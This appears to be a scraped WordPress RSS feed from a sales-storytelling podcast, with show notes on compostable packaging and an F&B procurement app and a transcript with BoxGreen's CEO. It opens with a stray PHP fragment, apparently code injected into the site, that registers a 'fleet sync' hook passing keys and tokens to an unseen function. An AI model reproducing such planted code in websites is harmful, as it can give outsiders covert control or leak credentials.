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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sales Story Method https://salesstorymethod.com Learn the psychology of sales and learn how to close 80% of your calls in 48 Hours Thu, 27 Jul 2023 05:40:09 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.7 https://salesstorymethod.com/wp-content/uploads/2022/07/cropped-Sales-Story-Method-Yellow-150x150.png Sales Story Method https://salesstorymethod.com 32 32 215928459 Episode 5: Morphing Into Compost Packaging To Save the Earth with Ved Krishna, Board of Director, Yash Pakka Ltd https://salesstorymethod.com/episode-5-morphing-into-compost-packaging-to-save-the-earth-with-ved-krishna-board-of-director-yash-pakka-ltd/ Mon, 22 May 2023 23:37:33 +0000 https://salesstorymethod.com/?p=36862

SSP 05: Morphing Into Compost Packaging To Save the Earth

Ved Krishna, Board of Director, Yash Pakka Ltd
Hosted By Yasmine Khater

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 TODAY'S GUEST

Ved Krishna, Board of Director, Yash Pakka Ltd

Nature is about 3.8 billion years old now, but we are seeing the dangers being thrown into its ecosystem because of the proliferation of the use of plastics and styrofoam especially in the food industry. Yash Pakka Ltd which started as a paper manufacturing company under the vision of KK Jhunjhunwala, the late father of Ved Krishna, currently one of its Board of Directors and Strategy Head. Ved’s vision was towards contributing to a cleaner planet and the company has already invested into sustainable packaging products with the use of agri-residue. Today, Yash Pakka Limited is now one of India’s largest enterprises making packaging paper, molded foodservice products, and value-added products made out of sugarcane waste.

You'll Learn

YOU’LL LEARN:

– How Yash Paper shifted from manufacturing paper products to becoming one of India’s largest manufacturers of packaging materials that are earth friendly?

– What was their story in getting people to buy into the idea of switching over to alternative packaging which is more expensive than plastic and styrofoams?
How do people perceive plastics, styrofoam versus biodegradable packaging?

– Why did the company decide to look differently into their hiring process for talents who are aligned with their ethics and sustainability principles?

– What is the personal vision of Ved Krishna for Yash Kappa Ltd and what’s in the pipeline for the company?

Show Notes

01:44  The backstory of how Yash got into producing alternatives to plastic and styrofoam.

Their background  is on pulp and paper and they were actually making their paper from sugarcane waste. They realized what was happening to the planet, to all the packaging of plastics and styrofoam that was being thrown away. So they started to work on two areas of packaging, one was flexible packaging and the other was something to replace styrofoam.

04:00  Ved’s view about the layers of plastic used in packaging.

It is a big challenge for people to know the harmful effects of plastic and in terms of that it cannot even be recycled. 

07:05   How were they able to get people to buy into the ideal of switching over to alternative packaging? 

It’s been an interesting journey.  There’s the  challenge that comes about launching multiple products and they don’t know what product is going to work and what is not. They also have to decide the capacity before actually launching the product into the market.  What has happened is that as they started launching, there have been vans upon vans in various states of India, which automatically creates traction. So the market is there, people are buying. 

08:41  Who are the competitors in the market or  are they the only players in the compostable market?  (…What were the challenges that they have imposed upon themselves?) 

They don’t see themselves as competing only with compostable tableware manufacturers because they are still competing with plastics and styrofoam which are cheaper. There’s even leaf-based containers like banana leaf and betel nut leaves.  But what they did in order to really be close to their competitors, they took up more challenges, like going against  typical designs that were available in the market. Their containers are square or rectangular, not like the standard round plates.. 

11:45  What are the perceptions of the people regarding plastic versus the alternative products to plastic?

Although their packaging and food containers are safe for the environment, people would still prefer plastics and styrofoam because they are lightweight and cheaper.  Using something like Chuk, is actually a higher standard thing, something of a higher status.   

13:30  Would it be correct that Yash’s different branding and different marketing set up is similar to that with a company in Malaysia which sells three different offerings of spring water, but in fact it is the same water?

Yes, it is similar in that the idea is to take out different brands, different marketing setup but coming from the same path.  The difference is usually in the pricing with some half the price of the other design and less than half the weight and things like that.

14:32  What kind of storytelling does Yash put out to attract clients? (…What are these stories that need to be considered e.g. payment cycles?) 

There are a lot of stories being told like in the distribution process where they handle most of the actual marketing and sales, partnering with QSRs, keeping customers happy, or getting quick service restaurant chains to switch to them in order to get a higher brand valuation. They are also  creating lots of videos with their customers, and the idea is to highlight them rather than them.

20:02  How does Yash attract talents who will be passionate about the growth of the company and aligned with their ethics and the idea of sustainability? (…What has changed in their hiring process?)

They are getting talents who are aligned philosophically in terms of ethics and those who are deeply moved with the idea of sustainability. They just recently lost their CEO on the marketing and their sales head, mainly because there’s no alignment. 

22:32  Why did the company choose to be B Corp certified and what are they doing about that certification?

They were encouraged to take on being B Corp certified but whether it will serve their interest at this stage or not, they are still deciding whether they  can actually keep invested with being certified.

23:39  What is the personal vision of Ved for Yash Pakka and what’s in the pipeline for the business?

For Ved it’s more on the side of development.  He firmly believes that all the answers for packaging needs to be aligned with nature. They are  looking around in terms of ways in nature packaging, specifically on the design and the way going into that direction. So most of their research is going towards microbial application. 

About the Host

Hey, I’m Yasmine Khater, I am the founder of the Sales Story Method and host of the Sales Story Podcast.

In case you don’t know me, here’s something about me. First, I know exactly what you’re going through. And I’ll tell you why.. I was not always persuasive. I had spent most of my life shy and afraid to speak up. I thought that getting someone to say yes was a talent that only a few people had.

Then I started to study the brain, and why people said no. Once I understood the reason behind their resistance, I realised that it all came down to their fears. And that true leadership is about helping others overcome their fears.

So I started to study what it takes to influence. My findings allowed me to crowdfund over $150K, build and sell a company, land speaking engagements and have full-page press coverage.

Over the last five years I’ve helped senior leaders in over 100 MNCs – including organisations like DBS, Salesforce, ClubMed, Danone and GoJek – and governments use stories to stand out, close sales, inspire their team and grow their businesses (and careers). I’ve also helped entrepreneurs raise millions in funds.
On a lighter note, I am an aspiring “armchair” neuroscientist, with a degree in Psychology and who loves to study the brain. I come from a mixed heritage and because I love exploring and learning about people and culture, I have lived in 7 countries and travelled to over a quarter of all the countries in the world.

Tune in for More Prudent Tips

Are you Ready to
Activate the Power of Your Own Story?

Elevate your personal brand, step into your authority and impact lives, without struggling to get buy-in, or not feeling aligned with the type of authority you were destined to become. Ready to transform your unspoken narrative?

Stand out by Telling your own Story

Become the storyteller everyone remembers.

Do you struggle to craft your stories?

Do the people listening get lost or confused?

Do you find that projects take longer because your team/stakeholders/customers are misaligned?

Do you feel unsure of how to inspire people to get their buy-in and build your authority?

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36862
Episode 4: Zeemart SaaS Tool for the F&B Industry with Neeraj Sundarajoo, Co-Founder, Zeemart https://salesstorymethod.com/episode-4-zeemart-saas-tool-for-the-fb-industry-with-neeraj-sundarajoo-co-founder-zeemart/ Sat, 06 May 2023 06:24:21 +0000 https://salesstorymethod.com/?p=36691

SSP 04: Zeemart SaaS Tool for the F&B Industry

Neeraj Sundarajoo, Co-Founder, Zeemart Hosted By Yasmine Khater

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 TODAY'S GUEST

Neeraj Sundarajoo, Co-Founder, Zeemart

When you don’t have relevant experience in a certain business, starting one seems like a losing venture, doesn’t it? But for Neeraj Sundarajoo the challenge of finding a recession-proof business and an extremely difficult one catapulted his entry to the F&B industry. After exiting their first business in the advertising industry, he co-founded Zeemart with Keith Tan.

Today, Zeemart is a universally recognised platform for F&B buyers and suppliers to conduct business in a trusted and secure environment, with offices in Singapore and Malaysia.

You'll Learn

– How did Neeraj and Keith get people to buy into their business when they have no relevant experience in the industry? Initially, why was Zeemart’s focus on generating value rather than revenue?

– Who were their first investors and how did they raise $2.2 million in investments, then another $7 million after that?

– What are the benefits of Zeemart to the F&B operators and suppliers, and to the food supply chain?

– How does Zeemart attract the right kind of talent to join their team?

Show Notes

01:09  What is the Zeemart vision?

Zeemart is about preventing restaurants and F&B owners from shutting down by bringing down the cost of goods. The vision of Zeemart is to help manage the cost at the back of the house from 35% of the revenue down to 25%. The benefits of digitizing the food supply chain will bring about economic success for F&B operators and suppliers.

03:03  How did Neeraj and his co-founder choose the F&B industry after leaving their first business venture in advertising?

Neeraj and Keith after leaving their first business venture were looking at three industries to start a new business. These are in child care, elder care and the F&B industry. They found that the F&B industry was a recession-proof one and they got excited into looking at solutions for the problem in the industry. Although they found that it is an extremely difficult industry, they decided that’s where they wanted to try and play and do something. 

04:53  How did you get people to buy into your business when you have no relevant experience in the industry?

The experience and the exposure they had in running our previous business sort of gave them the segue into looking at things in greater depth, and understanding what the problem was, and trying to find out what they can do to try and solve that problem. 

They started to speak to friends and family who  became their first supporters.  Soon there were supporters who saw what they saw and they believed that everything ends well with good execution.     

06:37  What strategies did Neeraj and his team do to be able to get their first group of customers who believed in the solution they offer?

They had to look for a good group of customers who were willing to spend time with them. They built a product that will really help with the needs which most often the business owners do not really know.  They started with a few customers, chefs, owners who are willing to give them a try.  Today they are serving bigger groups of restaurants, caterers, hospitals and everyone who is dealing with F&B procurement.  Of course, they still serve the smaller guys. 

08:34  Why did they have to pitch differently, chefs first then to F&B business owners? 

They did different pitches for chefs and business owners.  They focus first on the chefs because if the chef says yes to them, then there is a chance that the owners will speak to them. Their pitch is more of value add and when they say value add, it is something different and something that they don’t already have or know. When the owner is ready to speak to them, then they pitch change a little bit.

10:16  How is Zeemart able to reduce, if not totally eliminate wastage and other sources of leakages in the F&B business? 

The goal of Zeemart is to try and identify the source of leakages and it’s up to the owner to look at how they want to fix it. Wastages as pilferages are very rampant in developing cities but not as rampant as in SIngapore, but they still have to look at the costs of operation. Small wastage such as what’s the deal for gas cylinders are struck with suppliers.

11:04  What is the common denominator on the problem of productivity and efficiency of the supply chain from different Asian cities?

Even in big cities like New York, restaurant operators are having the same problem as with any other cities like Jakarta or Bangkok. It’s a big productivity and efficiency problem across buyers and suppliers. 

 

12:04  How many clients have signed up for Zeemart and how was it offered to them as a value proposition? 

 

We’ve got about 1000 restaurants that have signed up on Zeemart. There are about 300, who have already been onboard and actively using Zeemart. 

 

13:04   What is the purpose of Zeemart’s focus on generating value first, instead of revenue?

 

Their focus is in trying to generate the value first because they wanted the  restaurants to experience Zeemart’s value and feel that Zeemart is actually making a difference to their business and helping them.  In the end they wouldn’t mind paying because of the value that Zeemart is bringing to their business.

14:11  Who were their first investors to build the viable product, the Zeemart app and what was the story in raising $2.2 million from friends and family who believed?

The very first investors of Zeemart were the founders.  They wanted to make sure that they have their skin in the game themselves. So as founders, we put in money to try and build a minimum viable product that can actually go out in the market. 

They went to speak to some of our friends and within three months they were able to raise $2.2 million.

17:12  How were they able to raise money from $2.2 million to $7 million? (…From whom did they get their first Venture Capital?)

A year later, from $2.2 million, this was raised to $7 million.  One of the Venture Capital investments they got was from Vickers Venture.  It was an interesting journey for them to be able to get that kind of support and every time they run out of money, more investors come in and tell them to do more of the go do more for the F&B industry.

18:56  What were the past experiences of their customers before they signed up with Zeemart? (… What did the current and new customers see in Zeemart?) 

Their customers know that the products that Zeemart is constantly evolving and they’re very appreciative of that.  They are constantly improving and evolving their products and they continue to have new customers.  Customers who declined Zeemart a year ago, are now beginning to welcome Zeemart. 

20:52  How do they make the distribution part more mainstream? (…Who do they work and partner with from the different sectors?) 

They work with the associations, with the Chambers of Commerce, who are also trying to find ways to help pick sectors to gain momentum in productivity and efficiency. They are also very focused on the Point of Sale for the F&B sector, partner with companies in technology, product manufacturers and people who can actually help enhance the F&B business.

22:34  How does Zeemart attract the right kind of talent to join their team?

They hire smart and creative people and balance it between people who are experienced and inexperienced.  In the words of Neeraj Sundarajoo, he said, “We give them a promise, we have an open culture, we have an open system, in collaboration in the organization, and we truly walk that talk, and we have systems in place, we will deliver that.”

25:32  What is Nareej’s personal vision?

Nareej’s vision is to grow their business to a billion dollar business quickly in the next 24 months.

About the Host

Hey, I’m Yasmine Khater, I am the founder of the Sales Story Method and host of the Sales Story Podcast.

In case you don’t know me, here’s something about me. First, I know exactly what you’re going through. And I’ll tell you why.. I was not always persuasive. I had spent most of my life shy and afraid to speak up. I thought that getting someone to say yes was a talent that only a few people had.

Then I started to study the brain, and why people said no. Once I understood the reason behind their resistance, I realised that it all came down to their fears. And that true leadership is about helping others overcome their fears.

So I started to study what it takes to influence. My findings allowed me to crowdfund over $150K, build and sell a company, land speaking engagements and have full-page press coverage.

Over the last five years I’ve helped senior leaders in over 100 MNCs – including organisations like DBS, Salesforce, ClubMed, Danone and GoJek – and governments use stories to stand out, close sales, inspire their team and grow their businesses (and careers). I’ve also helped entrepreneurs raise millions in funds.
On a lighter note, I am an aspiring “armchair” neuroscientist, with a degree in Psychology and who loves to study the brain. I come from a mixed heritage and because I love exploring and learning about people and culture, I have lived in 7 countries and travelled to over a quarter of all the countries in the world.

Tune in for More Prudent Tips

Are you Ready to
Activate the Power of Your Own Story?

Elevate your personal brand, step into your authority and impact lives, without struggling to get buy-in, or not feeling aligned with the type of authority you were destined to become. Ready to transform your unspoken narrative?

Stand out by Telling your own Story

Become the storyteller everyone remembers.

Do you struggle to craft your stories?

Do the people listening get lost or confused?

Do you find that projects take longer because your team/stakeholders/customers are misaligned?

Do you feel unsure of how to inspire people to get their buy-in and build your authority?

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36691
Episode 3: Building a Business with Purpose with Walter Oh, CEO of BoxGreen https://salesstorymethod.com/episode-3-03-building-a-business-with-purpose-with-walter-oh-ceo-of-boxgreen/ Sat, 06 May 2023 05:43:18 +0000 https://salesstorymethod.com/?p=36672

SSP 03: Building a Business with Purpose

Featuring Walter Oh, CEO, BoxGreen
By Yasmine Khater

Back to episode list

 TODAY'S GUEST

Walter Oh, CEO, BoxGreen

In this podcast episode, the founder of Boxgreen, Walter Oh, shares his journey of building a healthy snack company and expanding into managing companies’ pantries. 

He talks about the importance of doing good, both for the community and the environment, and how it has been the core of his business. Walter also discusses his company’s involvement in the B Corp movement and the value it brings to his brand. 

Lastly, he talks about the challenges and opportunities of working with suppliers and how his company is navigating the current market conditions.

You'll Learn

  • The origin story of Healthy Snack Box
  • What’s the vision for the future of the company?
  • How they’ve become more service-oriented.
  • Price is always a deciding factor in any situation.
  • What is your personal vision and why do you do what you do?
  • What is the B corp movement and how does it work?

Transcript

Announcer: You are listening to the Sales Story Podcast with award winning storyteller Yasmine Khater. Yasmine teaches persuasive leaders the new way of leveraging the brain to capture, consult, and convert lifelong diehard fans. Just grab your headphones, tune into this episode, and go through this in less than 30 minutes while going to work and by the time you’re done, you’ll have the absolute best actionable tips from Asia’s top CEOs on how to increase your impact in sales without being sleazy or pushy, or pretend to be someone else. Are you ready to learn how to better share your story?

YASMINE: So Walter, tell us the story of how you went from being in a bank, working in Finance and now selling snacks?

WALTER: So thanks for having me Yasmine. It’s been, it’s been a four year journey coming from selling, from being in the finance industry to selling snacks. But the origin story I mean, you can find it on Google. But this started off as, it’s really as a lunch joke with my business partner, Andrew. I studied in Illinois, Urbana-Champaign, and found jobs in finance, and got into a management associate program. That’s where I met Andrew over lunch. We just talked about, you know, not having healthy snacks near our desk. So I told him, wouldn’t it be nice if someone could send us a box of healthy snacks? That joke turned out to be andrewsnuts.com, I went to buy that domain.

YASMINE: You put it online?

WALTER: Put it on Facebook. So we have a website, we have, we have a way to take in some money. And then we went on Facebook, spend $20 on ad credits, and we say like healthy snacks delivered to your doorstep. And there were like 50 people who signed up that week. So yeah, we had to scramble and look for like, snacks, right? So I personally delivered the first 50 boxes to homes individually. I’m like, I want to know why they buy it right?

YASMINE: At that time was it like, even packaged under BoxGreen?

WALTER: It was just like a brown box with a sticker, round sticker on it. I met some really interesting people. I like mostly, I like ladies, in fact, 99% of our consumers, our customers are ladies. Mothers looking for snacks for their kids to bring to school, you have the wife buying snacks for their husband, because they are working really long hours, and they skip dinners. So it’s kind of heartening to know like, ‘Hey, we are actually helping some people. And the snack box is a vehicle to express love or concern to the other like, customers. So we say like, ‘Oh, that’s really cool’. And it’s actually not about like, just convenience. So yeah, this BoxGreen was formed. I mean, we could not use andrewsnuts.com because we got, we got a corporate order from, from, from a government entity. And then they were like, they want to order something for their pantries or to give it to their staff. Fast forward to today, we serve corporate offices, Twitter, LinkedIn, Uber, Grab, banks like DBS, they, I mean, over 300 companies. We kind of supply healthy snacks to the office pantries. So yeah, we still have the consumer business, but a lot of it is, this focus now on the enterprise space.

YASMINE: Awesome. So it’s kind of curious. So how long were you guys testing it out
before you tried to quit? And then joined it full time?

WALTER: We started the idea in April 2014, gave it six months and it was, it was about like, packing snacks afterward, walking to the post office to deliver the boxes it at midnight. It’s come to a point where we couldn’t finish packing even on weekends. So six months in, I’m like, ‘Okay, let’s give it a shot’. Like, what’s the worst thing that can happen? For personal reasons, I thought I should go first. And then Andrew can just hang back for like half a year. Sure enough, I think six months on, I couldn’t handle. I was packing and my parents were thinking I’m crazy. I mean, I convinced Andrew like, ‘Hey, you gotta come on board man’. Like, we need help and then we joined Accelerator just to kind of like be part of an ecosystem of entrepreneurs. We were first time entrepreneurs, we needed help.

YASMINE: Other than like the coffee chat that you had with Andrew and was called
andrewsnuts.com, how did it evolve and, and kind of what is the vision that
you have today for BoxGreen?

WALTER: So the other companies around in the US and the UK that are pretty
successful, so we thought like, hey, that business model exists means something is there, right? So when we started selling, I think there was one component that really stood out to us like, we look at Toms Shoes, Ben and Jerry’s, Patagonia, we look at brands like them, they have a social purpose baked into their business right from day one. So for us, we always wanted to give back. So even before the business got started, or when he was starting, we have been volunteering at soup kitchens. I mean, from my perspective, it is more like, ‘Okay the people who could afford our product are probably more affluent, white collar working adults”. But there’s also another part of the population that can’t even afford the basic three meals. So that’s the basic premise, right? So the one for one is the easiest, buying one and giving one is the easiest concept for consumers to get it, to know that our cause is straightforward and direct. So after talking to a few soup kitchens, Willing Hearts, a local soup kitchen, Tony who is the founder is really awesome. So don’t even give me money, just buy me chickens and eggs and then just donate that or let us cook it, right? So we did the hosting of like, chopping, cooking, to the packing, the delivering to the doorstep. And you can really feel that the impact is there and the end to end. It’s not so much like why donate $1 and then actually only 10, 10% ends up with the beneficiary. So in this case all, I think the majority of it I would say 80% percent just goes to the beneficiary. So with that, I think the vision then kind of evolves around snacking, cook to doing good. We wanted to like, tell the customer like whereas you’re buying from us the product is great, you are doing your snacking good, but yeah, at the same time doing good for someone else. So yeah, that’s kind of like the, the vision of where it is. And I think four years down the road is, we’re so evolved a little bit broader, like we want to create a happy, healthy people and planet. I think that kind of like, encompasses what a food company wants to become. So in everything we do, we try to see, is this better for you, as an individual? And then are you happy? Like, in the office, when you see all snacks, like, like, wherever you are, I hope that product kind of brings joy to, to the workplace or at home. So yeah.

YASMINE: Well, I like your logo, tell me more about the logo and why you guys chose
It?

WALTER: Well, those logos was head thought again by , 99 designs. Again, it was
really about like, Okay, we got two nutty guys and then what animals kind of
eat nuts like a squirrel, most of the nut companies here have like, kangaroo,
camel. Yeah, I think squirrel seems, seems like great, great mascot.

YASMINE: So the first time I saw your brand, the reason why I love it, it’s a favorite,
actually is a squirrel and when I see a squirrel it gets me happy, so like it’s the
best branding ever, it’s a squirrel. So I know that you guys also went about and raised money. So how did you go and take that vision and take it to investors and get them to actually pull out their pockets and be like, hey, we’ll actually invest?

WALTER: The positioning initially was a subscription model. We modeled after five
years ago, the ecosystem for startups. I think you have beauty boxes, snack
boxes, subscription, anything, right? So naturally, I think there is a demand for investment into this space, but we kind of know the tail end of it where most of these subscription boxes can go bust. So going through Accelerator kind of primed us like okay, you’re kind of like a tech startup. You know, we geared towards there. We have a CTO in-house, there’s where the trend was, so we just followed along. And also I was telling Andrew like, okay, you know, this Accelerator or Incubator is giving us some money 50 grand, that’s run for a year and see where we’re at and if we don’t make it, just move on, right? So we gave ourselves a timeline. And then and then I mean, the Accelerator, Incubator kind of prepped us for investment. We didn’t get any investment out of it, but I think the whole training was great. Subsequently, I think incubators of government funds, there was some grants to kind of help us through. So we tapped on that to raise our seed round, along with another B, C. So 500 startups ,expired ventures, the power of seed round and see healthy snacking as a trend, as evolving and the thing we can do more, kind of either be the Ecommerce space or a subscription model direct to businesses or consumers.

YASMINE: So it’s actually a trend and people are focusing on the fact that there is a
shift from being unhealthy. There is actually almost a three documentary is
from, one is called blown on the McDonald’s one. Then there was one point like that documentary about like, eating unhealthy and then after that, there’s a trickle of like awareness around all this health benefits and also this trend that has come to like, be healthy. So they’re are sucked into that problem, there is an actually a problem that is growing.

WALTER: I mean, we were focused on the business model subscription, we realize, hey, that there should be more to it’s not just a business model, it is like why we started it because we couldn’t find healthy snacks at work. And hence the shift to where it is right now. Like we go back to the origin, we were in one big round, and we realized like, hey, comes back to helping officers, their employees snack better because they spend like 1/3 of your life and sitting in a desk most likely. And it’s

YASMINE: Of course the companies will spend a lot more.

WALTER: Yeah, eight, 12 hours a day, right? And then they don’t really pay attention to what they put in their bodies. I mean, the seed funding was great, but the funds run out. If you don’t, you just don’t manage it well enough. And you start thinking like, hey, what’s the core business is about?

YASMINE: Moving from that, like, how, how did you get the first couple of customer
that, you know, you obviously, you went to the Incubator, you had $50 on Facebook, and then you were doing a lot of consumers up, how do you go about from that to the company level and like, what were they looking at buying from you, like, what are they struggling with?

WALTER: Because the good thing about our product is anyone can consume it, right? So we will always, we always ask our customers again, like, consumers ordering for the office, the office manager sees it, tries it and like, hey, why not, right? So companies like PayPal, when you realize, oh, there are 20 employees and PayPal with their email address buying from us, that means an office has an issue, right? So we just like picking or catch up with the office manager and we have a chat with them. And sure enough, they’re like, Okay, actually, there’s like, the office manager is always saying oh people want healthy options, healthy options but like, we don’t know where or like, just a hassle to keep buying, why not someone do it for us. Okay, sure of this, then give us a shot, we’ll help you, right? So we’re sure about that definitely, I think the brand and what it stands for, health, and then the social part of wanting to do good came across. Of course, the initial sales, it was, it was tough. I think as a founder, we gotta like, go in and convince people to give us a shot. But I mean, companies are more than happy to give startups a try. I think that telling them about the story about how a banker ended up selling nuts, I mean, that’s exactly what our investors say, right? Like, they just remember two years ago, two guys locked-in crazy about nuts, lucky enough to go into it.

YASMINE: You kind of went from selling just nuts to now actually managing companies’ pantries and how did you go from just like, selling one product to be like, Hey, let’s take over the whole shebang for you.

WALTER: So we realized we had like, a couple 100 of companies that you know, purchase from us, right? And then when we when we go back and talk to office managers again and it’s always about finding out what’s their pain point and why they want to continue to stay relevant. We always ask them, like, Why choose us, right? Service is great, I think we decided to even be more service-oriented to pay attention to them. So we have dedicated account managers to check in and they can reach out to WhatsApp. They can buy things on like Amazon or Redmart, or like supermarkets online. But the main problem is they don’t have the time to do it. And they want to spend time on more important things like facilities management. And you know, just to free up that space or like to know that, you know, we are professionals in making the pantries like, healthy. Leave it to us, so that you look good in front of your boss. So with that, you know, when we spoke them a little bit more, they realized that all right, ‘You know, we’ve been ordering from so many different suppliers, that we have fruit day, we order from fruit vendor, we have like, coffee beans from somewhere, we have like, snacks, we have like the indulgent snacks like, could you all just like, do it for us, right? With the trend of companies that we started exploring, like maybe we could try to get a better rate for you guys and true enough, we are going to source our suppliers for foods. And we’re like, here we are 20 companies, they seem to be buying fruits from you. Why don’t you just, we just order on behalf of them. And you just pay to one person to get the bigger volume of the business because companies who have never tried them will get to try them. So it’s a win-win. I think for us like value adding to the office manager, we are, we’re really focused on that right now. Like, how do we make the office even better place, to help happier? Like, is it about just having Oreos? No, like about having like, some cold pressed juices and fruits? Like, puts you out, right? So we think around that space, and we think we can play a part. So I think we come in and fit in quite well.

YASMINE: The supplier’s are dependent on you, do you have like, a resistance at the very beginning? And are they saying hey, you know, we’re coming to you? Were they worried that future business from them, try to get them on board? Or would they like, if you sell like, hey, perfect, that story makes sense. I’m bought and I’m gonna sign up.

WALTER: I think people was like, suppliers are skeptical. They probably have seen a couple more guys with such ideas, but they don’t last. Of course, there’s that’s business to be made of these guys. They definitely strike a deal with you to give you a chance for overseas market. I flew to Taiwan, I drove down to the factory, I spoke to them. I said, you know, we want to build a relationship with you. Now we’re ordering more. We want to like, customize our snacks with you and ship it out during the day. They give us a shot many times, there are competitors who are like, oh, you can’t buy from overseas. They’re just using price or like exclusivity as a differentiator. If it is, benefits the ecosystem more people get eat healthy, I don’t see why you should have such exclusivity. So especially if you’re out pricing everyone in the market. I think that is fair. So we went to like Australia to look for the supplier, they’re like, okay, I’ll sell you. So you know, this is the fact that everyone wins, right? It’s never like, ‘Oh, I’m not free to take my business. It’s a bigger share. I mean, we are fighting with like, we should be fighting with the Lay’s chips, right? And like, make healthier, more accessible. It’s silly, because like junk food is more success, way cheaper than anything else. So yeah, I think people will understand and they are in the business of helping people they will give us a shot.

YASMINE: So I’m kind of curious right now because I’m getting, because now the healthy stuff is more expensive than other stuff. And right now people have a new price as a way to kind of tell a story. Yeah. But right now the markets are doing well. But when the markets crash and how will you guys like craft the story to make it still relevant to companies, when they’re gonna say, actually cut price?

WALTER: Well, let me, we talk about it before as well. Price is always in any situation one of the deciding factors, enterprises and consumers, right? So for us, the approach was always to remain relevant by providing value. We work with budgets of all kinds of sorts, we don’t, we don’t narrow it down to ‘Oh, you gotta pay $10 per employee, if you have $1.50, we do work with you. Yeah. Is it, we customized based on their budget and what we tell them is, you know, investing in your employees, this is the cheapest, or the best investment you get. I wouldn’t say cheapest, the best ROI, you can give your employees $1 or you can buy them a fruit. And then you know, it means a different thing altogether, right? It means you care, right it means you care and that translates to something else. And I think employee welfare, mental well being, morale is even more important during a downtime, to be honest. You can, you can buy them as many McDonald’s where there is a company sticking for them, taking care of them during tough times, I think is an easy sell, right?

YASMINE: Of course yeah yeah yeah

WALTER: and the investment ROI, there’s no point saving it.

YASMINE: So as we’re kind of wrapping up this podcast, I wanted to just ask you like, what is your own personal vision? And why do we do everyday like, why do you wake up in the morning? What’s the point of all this?

WALTER: Honestly, every day is a learning journey. And one thing’s for sure is doing
good. It’s what my partner Andrew, he’s like a moral compass. He has it on his mind. Like, that’s the one thing that we should be doing, like leaving the world, like, a better place than before. So doing good is, it’s when we went one round, it’s you have financial difficulties, you have everything, but I think doing good remains the core of the business. And surprisingly, you know, that led to more projects or like opportunities. We’ve been invited to set up a facility in the prison, just to do repackaging of our goods. And we never wanted to be a manufacturer in the first place. We wanted to shut down our manufacturing down like two years ago, because it’s so laborious. We found the, back then we had our Auntie’s packing for us. They are the retirees, single mothers, they come to help us, we make it flexible for them to work. I found them a job at another factory that represent more pay, medical benefits. They didn’t want to. They say like, stop it. They didn’t want it. I said, but we’re shutting it down. Then they say the rest at home. And the next day they brought, they each brought in 10 grand.

YASMINE: Are you serious?

WALTER: Yes. And they say it will start a factory.

YASMINE: How many aunties?

WALTER: Three Auntie’s. Yes. Yeah. And that was like the turning point like, it’s like it is they are not the highest paid in the company. But the fact that they believe and this they are, like savings, Heartland savings. So we match the funds, Andrew and I matched the funds. We set up and saw an ice cream facility, we took it over, we got it running. That was the moment where we realized like, ‘Hey, this is not just a startup, you can just fall and we, this is people’s likelihood. And that led us to the way we are hiring, the way we treat them. You know, that vision is kind of forming around doing good. We’re racing in around with the Impact investor, they came in, they like this whole story as well and what we’re doing. Maybe we don’t articulate it well enough, but the people behind the business are supportive, and the aunties are shareholders now. So it’s funny, but I mean, coming back to why we do this, every day is a learning journey, but it’s always trying to do good. That’s why we give up our jobs. I think that’s how we kind of find it meaningful to us. And if you’re doing it with amazing people, that’s just nothing else you can ask for, right?

YASMINE: Yeah. Just like one last question also to add into this. So you’re obviously a
very proponent to the B Corp movement. Maybe you could share with us what is the B Corp movement?

WALTER: We got certified two years into the business. I think right from the bat, we saw brands like Ben and Jerry’s, Patagonia, Warby Parker. So these are great brands, they’re doing great things. So when you look at the landscape of trying to find out like a certification that will help, we associated with and will be proud of it. Being associated with a body that has great brands, and the ecosystem with all these great people with that, we pursued it. I think, on the other hand, people always feel social enterprises are like brands who like so much into impact, but can’t make profit. They’re like buying our sympathy, students’ stigma here and there. But if you look at boundaries, you’re like, you eat it, they’re like awesome product in the USA. Hey they’re doing amazing things as well. So we want to be like that, right?

YASMINE: Yeah.

WALTER: So it’s really looking at up to them and Okay, let’s get back up soon. So,

YASMINE: Well you’ll definitely do that, you have 300 businesses on board with you.

WALTER: And it’s amazing because people always ask, what’s the ROI? Is there any
tangible results around that right like, but it has paid off so many times, like if you talk to like the fact that we have a vending machine, our own vending machine in Unilever’s office and they’re like oh yeah, they’re B Corp certified. I’m like morning. And then we talk to hotels like Grand Hyatt near like, Oh, are you sustainable, how you doing good. Like there’s something quantifiable we can show him instead of just showing pictures and Andrew is on file or like pictures on. We have something, you can go online, you can see it and then like, we have been certified. This is, we’re open about our information, about why we’re doing some of these things. Yeah, I think it just lends a lot of credibility and weight and you will win the deal, right because of what you believe in.

YASMINE: Yeah, I know I could be in Australia when I was running it, like the B Corp
thing, it really helped us, and not only that but it’s also about having the team, also very much on fire because they realize it’s not just about

WALTER: Making money and we never had problems hiring. We are always people
writing in that’s, that’s amazing. Like, finding these somehow we have it scholars, to people who study it and you pan, and I mean, the whole spectrum, we never had problems hiring. So like, I think that it’s also part of like, why we’re doing it how we are in the B Corp in general.

YASMINE: It is part of this. Well thank you so much for being here today with us.

WALTER: Thanks for having me.

Announcer: I know, I know. Your brain is bursting right now on how you can do this. You
can do this. Head over to your browser and type in salesstorypodcast.com. Hit the subscribe button and get the latest episodes of the show so you’ll never miss one. Also, don’t forget to sign up for our bonus content, Five Story Tweak that can help catapult your storytelling techniques. We would love to get the word out. Do leave a review and tell a friend and if you have any feedback about how we can improve the show or who we should feature, send us an email on the website or message on LinkedIn.

About the Host

Hey, I’m Yasmine Khater, I am the founder of the Sales Story Method and host of the Sales Story Podcast.

In case you don’t know me, here’s something about me. First, I know exactly what you’re going through. And I’ll tell you why.. I was not always persuasive. I had spent most of my life shy and afraid to speak up. I thought that getting someone to say yes was a talent that only a few people had.

Then I started to study the brain, and why people said no. Once I understood the reason behind their resistance, I realised that it all came down to their fears. And that true leadership is about helping others overcome their fears.

So I started to study what it takes to influence. My findings allowed me to crowdfund over $150K, build and sell a company, land speaking engagements and have full-page press coverage.

Over the last five years I’ve helped senior leaders in over 100 MNCs – including organisations like DBS, Salesforce, ClubMed, Danone and GoJek – and governments use stories to stand out, close sales, inspire their team and grow their businesses (and careers). I’ve also helped entrepreneurs raise millions in funds.
On a lighter note, I am an aspiring “armchair” neuroscientist, with a degree in Psychology and who loves to study the brain. I come from a mixed heritage and because I love exploring and learning about people and culture, I have lived in 7 countries and travelled to over a quarter of all the countries in the world.

Tune in for More Prudent Tips

Are you Ready to
